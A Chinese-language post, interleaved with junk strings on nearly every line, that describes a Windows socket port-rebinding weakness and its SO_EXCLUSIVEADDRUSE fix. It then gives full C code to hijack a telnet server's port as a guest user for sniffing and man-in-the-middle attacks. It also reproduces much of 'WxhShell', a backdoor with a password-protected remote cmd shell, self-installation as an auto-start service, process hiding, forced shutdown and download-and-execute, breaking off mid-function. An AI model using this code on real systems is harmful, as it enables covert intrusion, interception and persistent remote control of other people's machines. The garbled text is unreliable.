在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
NAC_pM&B s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
}_'IE1bA hfWFD, saddr.sin_family = AF_INET;
J:*-gwv9*m \nNXxTxX! saddr.sin_addr.s_addr = htonl(INADDR_ANY);
[Nm4sI11 hZXXBp bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
eV^d6T$ thlY0XCq,% 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
b}^S.;vNj F9"w6;hh 这意味着什么?意味着可以进行如下的攻击:
#N(= 3Cj
uF|3/x= 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
"I6P=]|b =ac_,]z 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
g#]" hn hXIro 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
?t&kb7 r|Z3$J{^" 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
`3H4Ajzcc +d}E&=p_ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
>eQr<-8 B(a-k? 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
S_MyoXV 1J=.N|(@Q 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
GE;e]Jkjn k %e^kej #include
Y`7~Am/r;& #include
NL=|z=q #include
:K`ESq!8u #include
>WJf=F`_H DWORD WINAPI ClientThread(LPVOID lpParam);
;h6v@)#GX int main()
6oaazB^L {
fqX"Lus `= WORD wVersionRequested;
.;y# DWORD ret;
s^0/"j |7 WSADATA wsaData;
lt^\ BOOL val;
q5h*`7f SOCKADDR_IN saddr;
B[=(#W SOCKADDR_IN scaddr;
v 8T$ &-HJ int err;
]V %.I_ SOCKET s;
F|Mi{5G% SOCKET sc;
<DKS+R int caddsize;
h~&gIub HANDLE mt;
H gTUy[( DWORD tid;
4c
oJRqf= wVersionRequested = MAKEWORD( 2, 2 );
!CXt*/~ err = WSAStartup( wVersionRequested, &wsaData );
[Vd[- if ( err != 0 ) {
gmIqT
f printf("error!WSAStartup failed!\n");
t*@2OW`! return -1;
b KTcZG }
'O5'i\uz saddr.sin_family = AF_INET;
/? r?it A(?\>X
9g //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
tz#gClo t+5E#!y
saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
FX9F"42@ saddr.sin_port = htons(23);
,Y3W? if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
,Jc m+Wb {
^TMJ8`e printf("error!socket failed!\n");
Hzrtlet return -1;
[
W2fd\4 }
1;Pv0&[q/ val = TRUE;
??n*2s@t //SO_REUSEADDR选项就是可以实现端口重绑定的
d,8mY/S>w if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
2H.654 {
Q{k
At% printf("error!setsockopt failed!\n");
+?p.?I return -1;
h~C.VJWl }
V9ssH87# //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
{Fzs@,|W. //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
D")_;NLE1 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
Wf{O[yL* JG9` h# if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
:
tWU .f# {
mxb06u_ ret=GetLastError();
c/_+o;Bc printf("error!bind failed!\n");
Cy*|&=>j return -1;
GTHkY* }
^F:k3,_[ listen(s,2);
/y^7p9Z` while(1)
s7oT G! {
8k(P,o caddsize = sizeof(scaddr);
bzdb|I6Z //接受连接请求
9;?UvOI; sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
>vuY+o;B if(sc!=INVALID_SOCKET)
0rGSH*( {
$lhC{&tBV mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
q~o,WZG if(mt==NULL)
c)@>zto# {
*>VVt8*Et printf("Thread Creat Failed!\n");
Hcc"b0>}{ break;
H3Se={5h\A }
/m!Cc/Hv }
0oEOre3^% CloseHandle(mt);
"zIFxDR# }
RZ1
/#; closesocket(s);
[!%![E WSACleanup();
`# sTmC) return 0;
W+*5"h }
s}pIk.4ot! DWORD WINAPI ClientThread(LPVOID lpParam)
KFa_ {
\;rYo.+ SOCKET ss = (SOCKET)lpParam;
e[Abp~@M1 SOCKET sc;
3_q3Bk unsigned char buf[4096];
t<n"-Tqu SOCKADDR_IN saddr;
^Q&u0;OJ long num;
j[Uxa DWORD val;
.'a&33J DWORD ret;
c$wsH25KH8 //如果是隐藏端口应用的话,可以在此处加一些判断
'Wa,OFd\8 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
_,</1~. saddr.sin_family = AF_INET;
0j C3fT!n saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
w1;hy"zPsj saddr.sin_port = htons(23);
%7O?JI[ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
y*MF&mQ[ {
(MHAJ]Rx printf("error!socket failed!\n");
|a{Q0: return -1;
\p%3vRwS%p }
~SSU` val = 100;
r\;ut4wy if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
S.!UPkW H {
;\MW$/[JCy ret = GetLastError();
Q]o C47( return -1;
.UoOO'1K }
/pp1~r.s?> if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
L4L2O7 {
?aW^+3i ret = GetLastError();
R>`}e+-D return -1;
e6_ZjrQf }
{-BRt)L[ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
Pl-5ncb\ {
/s];{m|>
printf("error!socket connect failed!\n");
+/D>|loRC closesocket(sc);
s}onsC closesocket(ss);
5Zw1y@k( return -1;
lgpW@g }
RmrL^asg while(1)
u{z``] {
7RDDdF E! //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
nL:SG{7 //如果是嗅探内容的话,可以再此处进行内容分析和记录
lO:.OZu //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
SR*wvQnOx num = recv(ss,buf,4096,0);
kM`l if(num>0)
mZIoaF>t send(sc,buf,num,0);
7w;O}axI else if(num==0)
7=]i~7uy break;
2&Nb num = recv(sc,buf,4096,0);
*Ei|fe$sa if(num>0)
i@NqC;~; send(ss,buf,num,0);
{YUIMd!Y else if(num==0)
Xtq{% break;
n}xhW'3hU= }
E2L(wt}^ closesocket(ss);
PM":Vd/ closesocket(sc);
^KB~*'DN~s return 0 ;
jEXW }
'&;yT[ !se0F.K +jC*'7p@ ==========================================================
v}^5Rp&m .yENM[-bQ 下边附上一个代码,,WXhSHELL
.k4W_9 v&FF|)$ ==========================================================
D}3XFuZs_ xyr+_k-x&q #include "stdafx.h"
27ckdyQx >s3gqSDR #include <stdio.h>
A~nf#(!^] #include <string.h>
\8OO)98' #include <windows.h>
UueD(T;p #include <winsock2.h>
&4dz}zz90 #include <winsvc.h>
j<%])
#include <urlmon.h>
)x#5Il
H /9yaW7w #pragma comment (lib, "Ws2_32.lib")
C}IbxKl #pragma comment (lib, "urlmon.lib")
vhr+g 'tf
t4Z #define MAX_USER 100 // 最大客户端连接数
9@$,oM= #define BUF_SOCK 200 // sock buffer
,~zj=F #define KEY_BUFF 255 // 输入 buffer
weMww,: ^[ 3>z[PPw #define REBOOT 0 // 重启
hM@\RPsY #define SHUTDOWN 1 // 关机
wxLXh6|6%_ KRsAv^'] #define DEF_PORT 5000 // 监听端口
bt+,0\Vg5 V@=V5bZLs #define REG_LEN 16 // 注册表键长度
V's:>; #define SVC_LEN 80 // NT服务名长度
U3vEdw<lV !}3,B28 // 从dll定义API
'k&?DZ! typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
F)$K typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
c.H?4j7ga typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
Jeqxspn
T typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
J3S&3+2G _baYn`tFw- // wxhshell配置信息
E(<LvMiCa struct WSCFG {
?3sT"r_d@ int ws_port; // 监听端口
jj\ [7 O* char ws_passstr[REG_LEN]; // 口令
9CUimZ int ws_autoins; // 安装标记, 1=yes 0=no
^c9ThV.v char ws_regname[REG_LEN]; // 注册表键名
'Tb0-1S? char ws_svcname[REG_LEN]; // 服务名
MBk"KF char ws_svcdisp[SVC_LEN]; // 服务显示名
w'Z!;4E0 char ws_svcdesc[SVC_LEN]; // 服务描述信息
>e5zrgV char ws_passmsg[SVC_LEN]; // 密码输入提示信息
Pn TZ/| int ws_downexe; // 下载执行标记, 1=yes 0=no
SA6hbcYk char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
DOD6Liau{Q char ws_filenam[SVC_LEN]; // 下载后保存的文件名
TW`mxj_J2 b5ie <s };
<D /a l9 J;~|ph // default Wxhshell configuration
!"4w&bQ struct WSCFG wscfg={DEF_PORT,
4 9w=kzo "xuhuanlingzhe",
eVnbRT2y& 1,
EHf)^]Z "Wxhshell",
z<C[nR$N "Wxhshell",
_[E \= "WxhShell Service",
;?6>mh(` "Wrsky Windows CmdShell Service",
"!&B4 "Please Input Your Password: ",
I"!'AI- 1,
*Jnh";~b "
http://www.wrsky.com/wxhshell.exe",
5]"BRn1* "Wxhshell.exe"
`ENP=kL(+ };
j)D-BK&+ {Qtq7q. // 消息定义模块
&zN@5m$k; char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
hjY0w char *msg_ws_prompt="\n\r? for help\n\r#>";
.Vx|'-u char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
4UCwT1 char *msg_ws_ext="\n\rExit.";
]xq::a{Oy char *msg_ws_end="\n\rQuit.";
RebTg1vGu char *msg_ws_boot="\n\rReboot...";
z}5<$K_U char *msg_ws_poff="\n\rShutdown...";
i>Iee^_( char *msg_ws_down="\n\rSave to ";
ce5nG0@# ^pcRW44K char *msg_ws_err="\n\rErr!";
qc0 B<,x7 char *msg_ws_ok="\n\rOK!";
Ex,JB + )Xno|$b5Eo char ExeFile[MAX_PATH];
]V<"(?,K int nUser = 0;
Xu]h$%W HANDLE handles[MAX_USER];
="lI i$>O int OsIsNt;
[_%,6e+ G.ud1,S# SERVICE_STATUS serviceStatus;
v' 0!= r SERVICE_STATUS_HANDLE hServiceStatusHandle;
5^F]tRz- ]31$KBC // 函数声明
A9n41,h int Install(void);
.YiaXP int Uninstall(void);
u{+!&
2}k int DownloadFile(char *sURL, SOCKET wsh);
`cO|RhD@ int Boot(int flag);
0#`)Prop6 void HideProc(void);
n!?r } n8 int GetOsVer(void);
?waebuj> int Wxhshell(SOCKET wsl);
3uO8v{` void TalkWithClient(void *cs);
I7b i@t int CmdShell(SOCKET sock);
V2QW\2@$ int StartFromService(void);
.D3`'K3t{[ int StartWxhshell(LPSTR lpCmdLine);
BK*UR+, =AzOnXW:S VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
x:C@)CAr VOID WINAPI NTServiceHandler( DWORD fdwControl );
hg#c[sZL ~*kK4]lP // 数据结构和表定义
'8={ sMy SERVICE_TABLE_ENTRY DispatchTable[] =
"s;ci~$ {
IdmD.k0pJ {wscfg.ws_svcname, NTServiceMain},
XC}1_VWs {NULL, NULL}
e#m1X6$.e };
%Y 2G C,3T!\ // 自我安装
|DGCdB|`G int Install(void)
5E.vje{U; {
DZ%8 |PmB char svExeFile[MAX_PATH];
>E~~7Yal HKEY key;
i2U/RXu strcpy(svExeFile,ExeFile);
Y}ky/?q R{ 4u|A?9 // 如果是win9x系统,修改注册表设为自启动
Ss+F9J
if(!OsIsNt) {
U#$:\fT if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
X;5 S RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Ul9b.`6 RegCloseKey(key);
eoJFh if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
qWkx:-g] RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
o=@ UXi RegCloseKey(key);
F-i&M1\_ return 0;
.GtINhz* }
8@Q"YA3d+ }
fA;x{0CAMX }
R,XD6' Q else {
VJGwd`qo*A gMCy$+? // 如果是NT以上系统,安装为系统服务
z{AM2Z SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
Mru~<:9 if (schSCManager!=0)
S[ i$e {
PaA6Z": SC_HANDLE schService = CreateService
p+!f(H (
:E}6S schSCManager,
8 `yB wscfg.ws_svcname,
*?s/Ho &' wscfg.ws_svcdisp,
D_zcOq9 SERVICE_ALL_ACCESS,
tYF$#Nor#k SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
I<IC-k"Y SERVICE_AUTO_START,
&qG?[R{ SERVICE_ERROR_NORMAL,
% 1OC#& svExeFile,
"Fo NULL,
_3*: y/M_ NULL,
Z+OAs0}mV NULL,
7O]J^H+7 NULL,
!>?4[|?n< NULL
6oPUYn- );
8Ix-i if (schService!=0)
`"i^'VL, {
VZAuUw+M CloseServiceHandle(schService);
CD*f4I#d CloseServiceHandle(schSCManager);
.dy#n`eP strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
2(@LRl>: strcat(svExeFile,wscfg.ws_svcname);
yIn/Y 0No if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
IS3e|o*]MP RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
-Y5YCY!` RegCloseKey(key);
{Q}!NkF1 return 0;
r _{)?B }
zZS>+O }
N[- %0 CloseServiceHandle(schSCManager);
u?LW+o }
GLbc/qs }
PmuEL@'^ U Fr938q6^- return 1;
T)$6H}[c }
R !:eYoQ @S/g,;7" // 自我卸载
PEOM1oY)w int Uninstall(void)
cKvAR5| {
s8`}x _k= HKEY key;
Fjb4BdZP c+)36/; X if(!OsIsNt) {
E7d~# if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
)3D+gu RegDeleteValue(key,wscfg.ws_regname);
Huc3|~9 RegCloseKey(key);
"u3fs2 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
llTQ\7zP RegDeleteValue(key,wscfg.ws_regname);
1[fkXO{ RegCloseKey(key);
E-5ij,bHv3 return 0;
@'k,\$ / }
\UkNE5 }
bv:0EdVr }
bn<I#ZH2 else {
t
wa(M? +Tgy,oD0 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
&Cx yP_ if (schSCManager!=0)
{Kq*5Aq8 {
)eTnR:= SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
/Gh
x2B if (schService!=0)
V)WIfRs {
^6N3n kyZ if(DeleteService(schService)!=0) {
}QApeZd+q CloseServiceHandle(schService);
n##w[7B* CloseServiceHandle(schSCManager);
oJ4mxi@|# return 0;
nkr, }
i"r.>X'Z CloseServiceHandle(schService);
fmZzBZ_ }
$z`cMQ r CloseServiceHandle(schSCManager);
//'xR8Z }
^,ZvKA"}+/ }
E:dT_x<Y n'x`oI)- return 1;
g[D,\ }
}{w_>!ee ')yF0 // 从指定url下载文件
f4aD0.K.g| int DownloadFile(char *sURL, SOCKET wsh)
{_k!!p6 {
C7fi1~ HRESULT hr;
!,-qn)b char seps[]= "/";
)n3biQL_ char *token;
nHhD<a! char *file;
(-G(^Tn char myURL[MAX_PATH];
S*DBY~pZy char myFILE[MAX_PATH];
e)
/u>I ;>QK}#' strcpy(myURL,sURL);
t6,M token=strtok(myURL,seps);
|]2eGrGj4 while(token!=NULL)
ke;*uS {
S#%JSQo: file=token;
WSpg(\Cs token=strtok(NULL,seps);
DT7-v4Zd }
C}DG'z9 W)Kpnb7 GetCurrentDirectory(MAX_PATH,myFILE);
,[K)E strcat(myFILE, "\\");
exrt|A]_[ strcat(myFILE, file);
?` ZGM send(wsh,myFILE,strlen(myFILE),0);
{dSU
\': send(wsh,"...",3,0);
qeO6}A"^| hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
X-2S*L' if(hr==S_OK)
qwq+?fj={ return 0;
Ll E_{||h else
?\p%Mx? return 1;
da86Jj=k ?PxYS%D_L }
yfw>y=/p gJ[q
{b // 系统电源模块
cwD*>[j int Boot(int flag)
4`5Qt=} {
TAXkfj HANDLE hToken;
X=c
,`&^ TOKEN_PRIVILEGES tkp;
Go+,jT- H/la'f#o% if(OsIsNt) {
6Bq2?;5 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
+q,n}@y= LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
M0IqQM57N tkp.PrivilegeCount = 1;
",
Rw%_ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
!m O] zn AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
iKEKk\j-w if(flag==REBOOT) {
&T/9yW[L if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
lo;9sTUHT return 0;
mM^8YL }
U!UX"r else {
<Phr`/ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
)*<d1$aM return 0;
.+~kJ0~Y }
S$_Ts1Ge6 }
,xM*hN3A else {
y42T.oK8c if(flag==REBOOT) {
\7w85$ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
?j$8Uy$$ return 0;
)^@V*$D }
btz3f9 else {
[&}<!:9' if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
Nm :lC%>X return 0;
hnLgsz }
2X|jq4 }
3K]0sr l8Iy03H return 1;
<y/AEY1 }
Ox1QP2t6Y 1UWgOCc // win9x进程隐藏模块
@9P9U`ZP void HideProc(void)
QL!+.y% {
=@/^1.` >!.lr9(l HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
.Eyk?"^ if ( hKernel != NULL )
^7<m lr {
'"p*FN pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
mP+yjRw ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
tl#s: FreeLibrary(hKernel);
f3B8,> }
]* Ki7h|B 4gt "dfy+ return;
}ZGpd9D }
W%QtJB1) lD=j/ // 获取操作系统版本
Gf.o{ int GetOsVer(void)
l+qtA~V&2 {
&Y2P! \\2 OSVERSIONINFO winfo;
eV}Tx;1|} winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
>5W"a?( GetVersionEx(&winfo);
wA&)y>n- if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
HBGA
lZ return 1;
LZ dNG\- else
nit7|T@^ return 0;
5ml}TSMu' }
?E@[~qq_ ="E
V@H?U // 客户端句柄模块
8Y'"=!3 int Wxhshell(SOCKET wsl)
}-iOYSn {
Lxrn#Z eM SOCKET wsh;
e:occT struct sockaddr_in client;
"A3xX&9-q DWORD myID;
b;ZAz
Uwa1)Lwn while(nUser<MAX_USER)
]iX$p~riH {
nmrk-#._@9 int nSize=sizeof(client);
y5h[^K3 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
yBKlp08J if(wsh==INVALID_SOCKET) return 1;
i|'t!3I^m ;Nij*-U4~ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
l))IO`s=_ if(handles[nUser]==0)
M lwQ_5O closesocket(wsh);
8
\Oiv$r else
kJFHUR nUser++;
CgE5;O }
6>J#M WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
1^dWmxUZH [hbIv return 0;
Wno5B/V }
A>yIH)b $vz%
// 关闭 socket
0k [6 void CloseIt(SOCKET wsh)
m,O!Mt {
G> >_G<x closesocket(wsh);
,iUx'U nUser--;
miqCUbcU ExitThread(0);
eRbO Hj1 }
p7er04/}\ Y?cw9uYB // 客户端请求句柄
9f`Pi:*+/ void TalkWithClient(void *cs)
;wrgpP3 {
YvX I gZv<_0N SOCKET wsh=(SOCKET)cs;
@( l`_Wx char pwd[SVC_LEN];
Nig-D>OS char cmd[KEY_BUFF];
c2/HY8ttRD char chr[1];
(z7#KJ1+Aw int i,j;
@35shLs G]CY3xw98 while (nUser < MAX_USER) {
v'tk:Hm1 HxaUVg0 if(wscfg.ws_passstr) {
=d}3>YHS if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Km7 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
~l~g0J //ZeroMemory(pwd,KEY_BUFF);
pJ[Q.QxU i=0;
)VC) } while(i<SVC_LEN) {
2wCRT}C HenJlo // 设置超时
\ 714 Pyy fd_set FdRead;
x#D=?/~/Kv struct timeval TimeOut;
<h({+N FD_ZERO(&FdRead);
'S"F=)*- FD_SET(wsh,&FdRead);
tUQ)q TimeOut.tv_sec=8;
Cx[4
/~_< TimeOut.tv_usec=0;
e^ yB9b int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
@V)WJ{ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
\~PFD%]:3 D3PF(Wx if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
jTnu! H2o pwd
=chr[0]; o9i\[Ul
if(chr[0]==0xd || chr[0]==0xa) { AM>:AtY
pwd=0; zlfm})+G
break; @_{"ho
} fvDwg
i++; c+JlM1p@
} ry'(mM
!r<7]nwV
// 如果是非法用户,关闭 socket 7F.,Xvw&@
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); yWzTHW`)Mr
} <mN3:G
5S1m&s5k
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); s>5 Z
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9L};vkYk#
o0 Ae*Y0
while(1) { =u(fP" |{
8/:\iPk0
ZeroMemory(cmd,KEY_BUFF);
!ZRV\31%
>qE$:V"_5
// 自动支持客户端 telnet标准 $IHa]9 {
j=0; ;c`B'
while(j<KEY_BUFF) { gP3[=a"\
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); y{&,YV&_h
cmd[j]=chr[0]; <~d N23)
if(chr[0]==0xa || chr[0]==0xd) { \4ZQop
cmd[j]=0; Y3[@(
break; @9-qqU@
} %^S1 fUwT
j++; /=N`P &R#
} FB@G.f
&b_duWs
// 下载文件 PJ'l:IU
if(strstr(cmd,"http://")) { wNlp4Z'[
send(wsh,msg_ws_down,strlen(msg_ws_down),0); Fq8Z:;C8
if(DownloadFile(cmd,wsh)) C
RNO4
send(wsh,msg_ws_err,strlen(msg_ws_err),0); q45n.A6a
else *d=pK*g
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v[m>;Ubg&
} zIu1oF4[
else { %:NI@59
uZfo[_g0S
switch(cmd[0]) { ,-):&V:jF
#r\uh\Cy
// 帮助 <*L8kNykK
case '?': { o\N),;LM
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -{dwLl_
break; s^cHR1^
} u!O)\m-
// 安装 JH 8^ZP:d'
case 'i': { c5JxKU_
if(Install()) b<%6aRC\
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;aSEv"iWX
else 7XaRi@uG
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nk[ixVc
break; WkT4&|POJ
} 5( 3tPbm{
// 卸载 Lx.X#n.]T
case 'r': { L9T|* ?||
if(Uninstall()) O%OeYO69
send(wsh,msg_ws_err,strlen(msg_ws_err),0); V[#jrwhA
else kxh
$R>
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &T{+B:*v
break; cf96z|^C
} d%iMjY`~[g
// 显示 wxhshell 所在路径 eKt~pzXwm
case 'p': { iNcB6,++
char svExeFile[MAX_PATH]; o<Q~pd#Ip,
strcpy(svExeFile,"\n\r"); l2i[wc"9
strcat(svExeFile,ExeFile); hDCR>G
send(wsh,svExeFile,strlen(svExeFile),0); $%ps:ui~X
break; F&^u1RYz
} #}o*1
// 重启 <d8Yk>R
case 'b': { 'vBuQinn
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `j9 ;9^
if(Boot(REBOOT)) *4]}_ .rG#
send(wsh,msg_ws_err,strlen(msg_ws_err),0); X-=49)
else { NSZ9M%7
closesocket(wsh); #V@[<S2
ExitThread(0); ? g}G#j
} 51xiX90D
break; }gete'I
} f<<1.4)oSV
// 关机 R10R,*6>
case 'd': { nH_M#
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !Wgi[VB
if(Boot(SHUTDOWN)) XU_gvz
send(wsh,msg_ws_err,strlen(msg_ws_err),0); f["c,,[
else { ^?}-x
closesocket(wsh); 1N,</<"
ExitThread(0); qx|~H'UuBN
} \(C6|-:GY
break; ;X , A|m$(
} x. 8fxogz
// 获取shell T,r?% G{XE
case 's': { \ ,D>zF
CmdShell(wsh); E%LUJx}
closesocket(wsh); .~u[rc|<
ExitThread(0); W[/Txc0$
break; WUrE1%u
} t^
Ge "
// 退出 !Ah v07SI
case 'x': { )V d^#p
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); g8kS}7/
CloseIt(wsh); zncKd{Q\tP
break; u.;l=tzz
} VkFMr8@|
// 离开 *O_>3Hgl
case 'q': { F/V-@SF
send(wsh,msg_ws_end,strlen(msg_ws_end),0); R#HVrzOO|T
closesocket(wsh); [n4nnmM
WSACleanup(); j<'ftKk
exit(1); Hsn'"
break; zX lcu_rc
} GXG 7P,p,
} 1J([*)
} ~y{_NgMo
,BUrZA2\U$
// 提示信息 >
a;iX.K
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gFqF&t
} DL`8qJ'mJs
} 'i',M+0>jC
,p{naT%R
return; =^1jVaAL
} wx^Det
0<7sM#sI!
// shell模块句柄 nrHC;R.nE
int CmdShell(SOCKET sock) )(0if0D4
{ Ge_fU'F
STARTUPINFO si; tn#cVB3
ZeroMemory(&si,sizeof(si)); w?>f:2(=[
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; D=Q.Q
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4GbfA
.u
PROCESS_INFORMATION ProcessInfo; F ei5'
char cmdline[]="cmd"; Q 9fK)j1$
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9}%$j
return 0; 58XZ]Mc0
} &Ts!#OcB,
BBM[Fy37!}
// 自身启动模式 b{qN7X~>
int StartFromService(void) ?r KbL^2
{ &#L C'
typedef struct <3!Al,!ej@
{ ;89kL]
DWORD ExitStatus; {.542}A
DWORD PebBaseAddress; UAPd["`)y
DWORD AffinityMask; 4d\^
